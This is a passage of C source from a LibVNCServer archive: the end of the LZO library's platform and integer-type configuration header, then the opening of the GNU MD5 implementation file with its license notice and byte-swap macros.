LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4) # define LZO_ABI_IP32L64 1 # define LZO_INFO_ABI_PM "ip32l64" #endif #if 0 #elif !defined(__LZO_LIBC_OVERRIDE) #if (LZO_LIBC_NAKED) # define LZO_INFO_LIBC "naked" #elif (LZO_LIBC_FREESTANDING) # define LZO_INFO_LIBC "freestanding" #elif (LZO_LIBC_MOSTLY_FREESTANDING) # define LZO_INFO_LIBC "mfreestanding" #elif (LZO_LIBC_ISOC90) # define LZO_INFO_LIBC "isoc90" #elif (LZO_LIBC_ISOC99) # define LZO_INFO_LIBC "isoc99" #elif (LZO_CC_ARMCC_ARMCC) && defined(__ARMCLIB_VERSION) # define LZO_LIBC_ISOC90 1 # define LZO_INFO_LIBC "isoc90" #elif defined(__dietlibc__) # define LZO_LIBC_DIETLIBC 1 # define LZO_INFO_LIBC "dietlibc" #elif defined(_NEWLIB_VERSION) # define LZO_LIBC_NEWLIB 1 # define LZO_INFO_LIBC "newlib" #elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__) # if defined(__UCLIBC_SUBLEVEL__) # define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + (__UCLIBC_MINOR__-0) * 0x100 + (__UCLIBC_SUBLEVEL__-0)) # else # define LZO_LIBC_UCLIBC 0x00090bL # endif # define LZO_INFO_LIBC "uc" "libc" #elif defined(__GLIBC__) && defined(__GLIBC_MINOR__) # define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + (__GLIBC_MINOR__-0) * 0x100) # define LZO_INFO_LIBC "glibc" #elif (LZO_CC_MWERKS) && defined(__MSL__) # define LZO_LIBC_MSL __MSL__ # define LZO_INFO_LIBC "msl" #elif 1 && defined(__IAR_SYSTEMS_ICC__) # define LZO_LIBC_ISOC90 1 # define LZO_INFO_LIBC "isoc90" #else # define LZO_LIBC_DEFAULT 1 # define LZO_INFO_LIBC "default" #endif #endif #if (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) # define LZO_ASM_SYNTAX_MSC 1 #elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) #elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul)) #elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) # define LZO_ASM_SYNTAX_GNUC 1 #elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) # define LZO_ASM_SYNTAX_GNUC 1 #elif (LZO_CC_GNUC) # define LZO_ASM_SYNTAX_GNUC 1 #endif #if (LZO_ASM_SYNTAX_GNUC) #if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul)) # define __LZO_ASM_CLOBBER "ax" # define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ # define __LZO_ASM_CLOBBER_LIST_CC_MEMORY /*empty*/ # define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ #elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1000)) # define __LZO_ASM_CLOBBER "memory" # define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ # define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "memory" # define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ #else # define __LZO_ASM_CLOBBER "cc", "memory" # define __LZO_ASM_CLOBBER_LIST_CC : "cc" # define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "cc", "memory" # define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ #endif #endif #if (LZO_ARCH_ALPHA) # define LZO_OPT_AVOID_UINT_INDEX 1 #elif (LZO_ARCH_AMD64) # define LZO_OPT_AVOID_INT_INDEX 1 # define LZO_OPT_AVOID_UINT_INDEX 1 # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif #elif (LZO_ARCH_ARM) # if defined(__ARM_FEATURE_UNALIGNED) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 7) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 6) && !defined(__TARGET_PROFILE_M) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # endif #elif (LZO_ARCH_ARM64) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif #elif (LZO_ARCH_CRIS) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif #elif (LZO_ARCH_I386) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif #elif (LZO_ARCH_IA64) # define LZO_OPT_AVOID_INT_INDEX 1 # define LZO_OPT_AVOID_UINT_INDEX 1 # define LZO_OPT_PREFER_POSTINC 1 #elif (LZO_ARCH_M68K) # define LZO_OPT_PREFER_POSTINC 1 # define LZO_OPT_PREFER_PREDEC 1 # if defined(__mc68020__) && !defined(__mcoldfire__) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # endif #elif (LZO_ARCH_MIPS) # define LZO_OPT_AVOID_UINT_INDEX 1 #elif (LZO_ARCH_POWERPC) # define LZO_OPT_PREFER_PREINC 1 # define LZO_OPT_PREFER_PREDEC 1 # if (LZO_ABI_BIG_ENDIAN) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # if (LZO_WORDSIZE == 8) # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif # endif # endif #elif (LZO_ARCH_S390) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # if (LZO_WORDSIZE == 8) # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif # endif #elif (LZO_ARCH_SH) # define LZO_OPT_PREFER_POSTINC 1 # define LZO_OPT_PREFER_PREDEC 1 #endif #ifndef LZO_CFG_NO_INLINE_ASM #if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) # define LZO_CFG_NO_INLINE_ASM 1 #elif (LZO_CC_LLVM) # define LZO_CFG_NO_INLINE_ASM 1 #endif #endif #if (LZO_CFG_NO_INLINE_ASM) # undef LZO_ASM_SYNTAX_MSC # undef LZO_ASM_SYNTAX_GNUC # undef __LZO_ASM_CLOBBER # undef __LZO_ASM_CLOBBER_LIST_CC # undef __LZO_ASM_CLOBBER_LIST_CC_MEMORY # undef __LZO_ASM_CLOBBER_LIST_EMPTY #endif #ifndef LZO_CFG_NO_UNALIGNED #if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) # define LZO_CFG_NO_UNALIGNED 1 #endif #endif #if (LZO_CFG_NO_UNALIGNED) # undef LZO_OPT_UNALIGNED16 # undef LZO_OPT_UNALIGNED32 # undef LZO_OPT_UNALIGNED64 #endif #if defined(__LZO_INFOSTR_MM) #elif (LZO_MM_FLAT) && (defined(__LZO_INFOSTR_PM) || defined(LZO_INFO_ABI_PM)) # define __LZO_INFOSTR_MM "" #elif defined(LZO_INFO_MM) # define __LZO_INFOSTR_MM "." LZO_INFO_MM #else # define __LZO_INFOSTR_MM "" #endif #if defined(__LZO_INFOSTR_PM) #elif defined(LZO_INFO_ABI_PM) # define __LZO_INFOSTR_PM "." LZO_INFO_ABI_PM #else # define __LZO_INFOSTR_PM "" #endif #if defined(__LZO_INFOSTR_ENDIAN) #elif defined(LZO_INFO_ABI_ENDIAN) # define __LZO_INFOSTR_ENDIAN "." LZO_INFO_ABI_ENDIAN #else # define __LZO_INFOSTR_ENDIAN "" #endif #if defined(__LZO_INFOSTR_OSNAME) #elif defined(LZO_INFO_OS_CONSOLE) # define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_CONSOLE #elif defined(LZO_INFO_OS_POSIX) # define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_POSIX #else # define __LZO_INFOSTR_OSNAME LZO_INFO_OS #endif #if defined(__LZO_INFOSTR_LIBC) #elif defined(LZO_INFO_LIBC) # define __LZO_INFOSTR_LIBC "." LZO_INFO_LIBC #else # define __LZO_INFOSTR_LIBC "" #endif #if defined(__LZO_INFOSTR_CCVER) #elif defined(LZO_INFO_CCVER) # define __LZO_INFOSTR_CCVER " " LZO_INFO_CCVER #else # define __LZO_INFOSTR_CCVER "" #endif #define LZO_INFO_STRING \ LZO_INFO_ARCH __LZO_INFOSTR_MM __LZO_INFOSTR_PM __LZO_INFOSTR_ENDIAN \ " " __LZO_INFOSTR_OSNAME __LZO_INFOSTR_LIBC " " LZO_INFO_CC __LZO_INFOSTR_CCVER #if !(LZO_CFG_SKIP_LZO_TYPES) #if (!(LZO_SIZEOF_SHORT+0 > 0 && LZO_SIZEOF_INT+0 > 0 && LZO_SIZEOF_LONG+0 > 0)) # error "missing defines for sizes" #endif #if (!(LZO_SIZEOF_PTRDIFF_T+0 > 0 && LZO_SIZEOF_SIZE_T+0 > 0 && LZO_SIZEOF_VOID_P+0 > 0)) # error "missing defines for sizes" #endif #if !defined(lzo_llong_t) #if (LZO_SIZEOF_LONG_LONG+0 > 0) __lzo_gnuc_extension__ typedef long long lzo_llong_t__; __lzo_gnuc_extension__ typedef unsigned long long lzo_ullong_t__; # define lzo_llong_t lzo_llong_t__ # define lzo_ullong_t lzo_ullong_t__ #endif #endif #if !defined(lzo_int16e_t) #if (LZO_SIZEOF_LONG == 2) # define lzo_int16e_t long # define lzo_uint16e_t unsigned long #elif (LZO_SIZEOF_INT == 2) # define lzo_int16e_t int # define lzo_uint16e_t unsigned int #elif (LZO_SIZEOF_SHORT == 2) # define lzo_int16e_t short int # define lzo_uint16e_t unsigned short int #elif 1 && !(LZO_CFG_TYPE_NO_MODE_HI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) typedef int lzo_int16e_hi_t__ __attribute__((__mode__(__HI__))); typedef unsigned int lzo_uint16e_hi_t__ __attribute__((__mode__(__HI__))); # define lzo_int16e_t lzo_int16e_hi_t__ # define lzo_uint16e_t lzo_uint16e_hi_t__ #elif (LZO_SIZEOF___INT16 == 2) # define lzo_int16e_t __int16 # define lzo_uint16e_t unsigned __int16 #else #endif #endif #if defined(lzo_int16e_t) # define LZO_SIZEOF_LZO_INT16E_T 2 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == 2) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == LZO_SIZEOF_LZO_INT16E_T) #endif #if !defined(lzo_int32e_t) #if (LZO_SIZEOF_LONG == 4) # define lzo_int32e_t long int # define lzo_uint32e_t unsigned long int #elif (LZO_SIZEOF_INT == 4) # define lzo_int32e_t int # define lzo_uint32e_t unsigned int #elif (LZO_SIZEOF_SHORT == 4) # define lzo_int32e_t short int # define lzo_uint32e_t unsigned short int #elif (LZO_SIZEOF_LONG_LONG == 4) # define lzo_int32e_t lzo_llong_t # define lzo_uint32e_t lzo_ullong_t #elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) && (__INT_MAX__+0 > 2147483647L) typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); # define lzo_int32e_t lzo_int32e_si_t__ # define lzo_uint32e_t lzo_uint32e_si_t__ #elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_GNUC >= 0x025f00ul) && defined(__AVR__) && (__LONG_MAX__+0 == 32767L) typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); # define lzo_int32e_t lzo_int32e_si_t__ # define lzo_uint32e_t lzo_uint32e_si_t__ # define LZO_INT32_C(c) (c##LL) # define LZO_UINT32_C(c) (c##ULL) #elif (LZO_SIZEOF___INT32 == 4) # define lzo_int32e_t __int32 # define lzo_uint32e_t unsigned __int32 #else #endif #endif #if defined(lzo_int32e_t) # define LZO_SIZEOF_LZO_INT32E_T 4 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == LZO_SIZEOF_LZO_INT32E_T) #endif #if !defined(lzo_int64e_t) #if (LZO_SIZEOF___INT64 == 8) # if (LZO_CC_BORLANDC) && !(LZO_CFG_TYPE_PREFER___INT64) # define LZO_CFG_TYPE_PREFER___INT64 1 # endif #endif #if (LZO_SIZEOF_INT == 8) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) # define lzo_int64e_t int # define lzo_uint64e_t unsigned int # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_LONG == 8) # define lzo_int64e_t long int # define lzo_uint64e_t unsigned long int # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG #elif (LZO_SIZEOF_LONG_LONG == 8) && !(LZO_CFG_TYPE_PREFER___INT64) # define lzo_int64e_t lzo_llong_t # define lzo_uint64e_t lzo_ullong_t # if (LZO_CC_BORLANDC) # define LZO_INT64_C(c) ((c) + 0ll) # define LZO_UINT64_C(c) ((c) + 0ull) # elif 0 # define LZO_INT64_C(c) (__lzo_gnuc_extension__ (c##LL)) # define LZO_UINT64_C(c) (__lzo_gnuc_extension__ (c##ULL)) # else # define LZO_INT64_C(c) (c##LL) # define LZO_UINT64_C(c) (c##ULL) # endif # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG_LONG #elif (LZO_SIZEOF___INT64 == 8) # define lzo_int64e_t __int64 # define lzo_uint64e_t unsigned __int64 # if (LZO_CC_BORLANDC) # define LZO_INT64_C(c) ((c) + 0i64) # define LZO_UINT64_C(c) ((c) + 0ui64) # else # define LZO_INT64_C(c) (c##i64) # define LZO_UINT64_C(c) (c##ui64) # endif # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF___INT64 #else #endif #endif #if defined(lzo_int64e_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == LZO_SIZEOF_LZO_INT64E_T) #endif #if !defined(lzo_int32l_t) #if defined(lzo_int32e_t) # define lzo_int32l_t lzo_int32e_t # define lzo_uint32l_t lzo_uint32e_t # define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LZO_INT32E_T #elif (LZO_SIZEOF_INT >= 4) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) # define lzo_int32l_t int # define lzo_uint32l_t unsigned int # define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_LONG >= 4) # define lzo_int32l_t long int # define lzo_uint32l_t unsigned long int # define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LONG #else # error "lzo_int32l_t" #endif #endif #if 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) == LZO_SIZEOF_LZO_INT32L_T) #endif #if !defined(lzo_int64l_t) #if defined(lzo_int64e_t) # define lzo_int64l_t lzo_int64e_t # define lzo_uint64l_t lzo_uint64e_t # define LZO_SIZEOF_LZO_INT64L_T LZO_SIZEOF_LZO_INT64E_T #else #endif #endif #if defined(lzo_int64l_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) == LZO_SIZEOF_LZO_INT64L_T) #endif #if !defined(lzo_int32f_t) #if (LZO_SIZEOF_SIZE_T >= 8) # define lzo_int32f_t lzo_int64l_t # define lzo_uint32f_t lzo_uint64l_t # define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT64L_T #else # define lzo_int32f_t lzo_int32l_t # define lzo_uint32f_t lzo_uint32l_t # define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT32L_T #endif #endif #if 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) == LZO_SIZEOF_LZO_INT32F_T) #endif #if !defined(lzo_int64f_t) #if defined(lzo_int64l_t) # define lzo_int64f_t lzo_int64l_t # define lzo_uint64f_t lzo_uint64l_t # define LZO_SIZEOF_LZO_INT64F_T LZO_SIZEOF_LZO_INT64L_T #else #endif #endif #if defined(lzo_int64f_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) == LZO_SIZEOF_LZO_INT64F_T) #endif #if !defined(lzo_intptr_t) #if 1 && (LZO_OS_OS400 && (LZO_SIZEOF_VOID_P == 16)) # define __LZO_INTPTR_T_IS_POINTER 1 typedef char* lzo_intptr_t; typedef char* lzo_uintptr_t; # define lzo_intptr_t lzo_intptr_t # define lzo_uintptr_t lzo_uintptr_t # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_VOID_P #elif (LZO_CC_MSC && (_MSC_VER >= 1300) && (LZO_SIZEOF_VOID_P == 4) && (LZO_SIZEOF_INT == 4)) typedef __w64 int lzo_intptr_t; typedef __w64 unsigned int lzo_uintptr_t; # define lzo_intptr_t lzo_intptr_t # define lzo_uintptr_t lzo_uintptr_t # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_SHORT == LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT > LZO_SIZEOF_VOID_P) # define lzo_intptr_t short # define lzo_uintptr_t unsigned short # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_SHORT #elif (LZO_SIZEOF_INT >= LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) # define lzo_intptr_t int # define lzo_uintptr_t unsigned int # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_LONG >= LZO_SIZEOF_VOID_P) # define lzo_intptr_t long # define lzo_uintptr_t unsigned long # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LONG #elif (LZO_SIZEOF_LZO_INT64L_T >= LZO_SIZEOF_VOID_P) # define lzo_intptr_t lzo_int64l_t # define lzo_uintptr_t lzo_uint64l_t # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LZO_INT64L_T #else # error "lzo_intptr_t" #endif #endif #if 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) >= sizeof(void *)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) == sizeof(lzo_uintptr_t)) #endif #if !defined(lzo_word_t) #if defined(LZO_WORDSIZE) && (LZO_WORDSIZE+0 > 0) #if (LZO_WORDSIZE == LZO_SIZEOF_LZO_INTPTR_T) && !(__LZO_INTPTR_T_IS_POINTER) # define lzo_word_t lzo_uintptr_t # define lzo_sword_t lzo_intptr_t # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INTPTR_T #elif (LZO_WORDSIZE == LZO_SIZEOF_LONG) # define lzo_word_t unsigned long # define lzo_sword_t long # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LONG #elif (LZO_WORDSIZE == LZO_SIZEOF_INT) # define lzo_word_t unsigned int # define lzo_sword_t int # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_INT #elif (LZO_WORDSIZE == LZO_SIZEOF_SHORT) # define lzo_word_t unsigned short # define lzo_sword_t short # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_SHORT #elif (LZO_WORDSIZE == 1) # define lzo_word_t unsigned char # define lzo_sword_t signed char # define LZO_SIZEOF_LZO_WORD_T 1 #elif (LZO_WORDSIZE == LZO_SIZEOF_LZO_INT64L_T) # define lzo_word_t lzo_uint64l_t # define lzo_sword_t lzo_int64l_t # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INT64L_T #elif (LZO_ARCH_SPU) && (LZO_CC_GNUC) #if 0 typedef unsigned lzo_word_t __attribute__((__mode__(__V16QI__))); typedef int lzo_sword_t __attribute__((__mode__(__V16QI__))); # define lzo_word_t lzo_word_t # define lzo_sword_t lzo_sword_t # define LZO_SIZEOF_LZO_WORD_T 16 #endif #else # error "lzo_word_t" #endif #endif #endif #if 1 && defined(lzo_word_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_word_t) == LZO_WORDSIZE) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_sword_t) == LZO_WORDSIZE) #endif #if 1 #define lzo_int8_t signed char #define lzo_uint8_t unsigned char #define LZO_SIZEOF_LZO_INT8_T 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == sizeof(lzo_uint8_t)) #endif #if defined(lzo_int16e_t) #define lzo_int16_t lzo_int16e_t #define lzo_uint16_t lzo_uint16e_t #define LZO_SIZEOF_LZO_INT16_T LZO_SIZEOF_LZO_INT16E_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == sizeof(lzo_uint16_t)) #endif #if defined(lzo_int32e_t) #define lzo_int32_t lzo_int32e_t #define lzo_uint32_t lzo_uint32e_t #define LZO_SIZEOF_LZO_INT32_T LZO_SIZEOF_LZO_INT32E_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == sizeof(lzo_uint32_t)) #endif #if defined(lzo_int64e_t) #define lzo_int64_t lzo_int64e_t #define lzo_uint64_t lzo_uint64e_t #define LZO_SIZEOF_LZO_INT64_T LZO_SIZEOF_LZO_INT64E_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == sizeof(lzo_uint64_t)) #endif #if 1 #define lzo_int_least32_t lzo_int32l_t #define lzo_uint_least32_t lzo_uint32l_t #define LZO_SIZEOF_LZO_INT_LEAST32_T LZO_SIZEOF_LZO_INT32L_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) == sizeof(lzo_uint_least32_t)) #endif #if defined(lzo_int64l_t) #define lzo_int_least64_t lzo_int64l_t #define lzo_uint_least64_t lzo_uint64l_t #define LZO_SIZEOF_LZO_INT_LEAST64_T LZO_SIZEOF_LZO_INT64L_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) == sizeof(lzo_uint_least64_t)) #endif #if 1 #define lzo_int_fast32_t lzo_int32f_t #define lzo_uint_fast32_t lzo_uint32f_t #define LZO_SIZEOF_LZO_INT_FAST32_T LZO_SIZEOF_LZO_INT32F_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) == sizeof(lzo_uint_fast32_t)) #endif #if defined(lzo_int64f_t) #define lzo_int_fast64_t lzo_int64f_t #define lzo_uint_fast64_t lzo_uint64f_t #define LZO_SIZEOF_LZO_INT_FAST64_T LZO_SIZEOF_LZO_INT64F_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) == sizeof(lzo_uint_fast64_t)) #endif #if !defined(LZO_INT16_C) # if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 2) # define LZO_INT16_C(c) ((c) + 0) # define LZO_UINT16_C(c) ((c) + 0U) # elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 2) # define LZO_INT16_C(c) ((c) + 0L) # define LZO_UINT16_C(c) ((c) + 0UL) # elif (LZO_SIZEOF_INT >= 2) # define LZO_INT16_C(c) (c) # define LZO_UINT16_C(c) (c##U) # elif (LZO_SIZEOF_LONG >= 2) # define LZO_INT16_C(c) (c##L) # define LZO_UINT16_C(c) (c##UL) # else # error "LZO_INT16_C" # endif #endif #if !defined(LZO_INT32_C) # if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 4) # define LZO_INT32_C(c) ((c) + 0) # define LZO_UINT32_C(c) ((c) + 0U) # elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 4) # define LZO_INT32_C(c) ((c) + 0L) # define LZO_UINT32_C(c) ((c) + 0UL) # elif (LZO_SIZEOF_INT >= 4) # define LZO_INT32_C(c) (c) # define LZO_UINT32_C(c) (c##U) # elif (LZO_SIZEOF_LONG >= 4) # define LZO_INT32_C(c) (c##L) # define LZO_UINT32_C(c) (c##UL) # elif (LZO_SIZEOF_LONG_LONG >= 4) # define LZO_INT32_C(c) (c##LL) # define LZO_UINT32_C(c) (c##ULL) # else # error "LZO_INT32_C" # endif #endif #if !defined(LZO_INT64_C) && defined(lzo_int64l_t) # if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 8) # define LZO_INT64_C(c) ((c) + 0) # define LZO_UINT64_C(c) ((c) + 0U) # elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 8) # define LZO_INT64_C(c) ((c) + 0L) # define LZO_UINT64_C(c) ((c) + 0UL) # elif (LZO_SIZEOF_INT >= 8) # define LZO_INT64_C(c) (c) # define LZO_UINT64_C(c) (c##U) # elif (LZO_SIZEOF_LONG >= 8) # define LZO_INT64_C(c) (c##L) # define LZO_UINT64_C(c) (c##UL) # else # error "LZO_INT64_C" # endif #endif #endif #endif /* already included */ /* vim:set ts=4 sw=4 et: */ libvncserver-LibVNCServer-0.9.11/common/md5.c000066400000000000000000000346171303145525000207020ustar00rootroot00000000000000/* Functions to compute MD5 message digest of files or memory blocks. according to the definition of MD5 in RFC 1321 from April 1992. Copyright (C) 1995,1996,1997,1999,2000,2001,2005 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ /* Written by Ulrich Drepper , 1995. */ #include # include # include #include "md5.h" /* #ifdef _LIBC */ # include # if __BYTE_ORDER == __BIG_ENDIAN # define WORDS_BIGENDIAN 1 # endif /* We need to keep the namespace clean so define the MD5 function protected using leading __ . */ # define md5_init_ctx __md5_init_ctx # define md5_process_block __md5_process_block # define md5_process_bytes __md5_process_bytes # define md5_finish_ctx __md5_finish_ctx # define md5_read_ctx __md5_read_ctx # define md5_stream __md5_stream # define md5_buffer __md5_buffer /* #endif */ #ifdef WORDS_BIGENDIAN # define SWAP(n) \ ((((n) & 0x00ff) << 24) | (((n) & 0xff00) << 8) | (((n) >> 8) & 0xff00) | (((n) >> 24) & 0x00ff)) #else # define SWAP(n) (n) #endif void md5_process_bytes (const void *buffer, size_t len, struct md5_ctx *ctx); 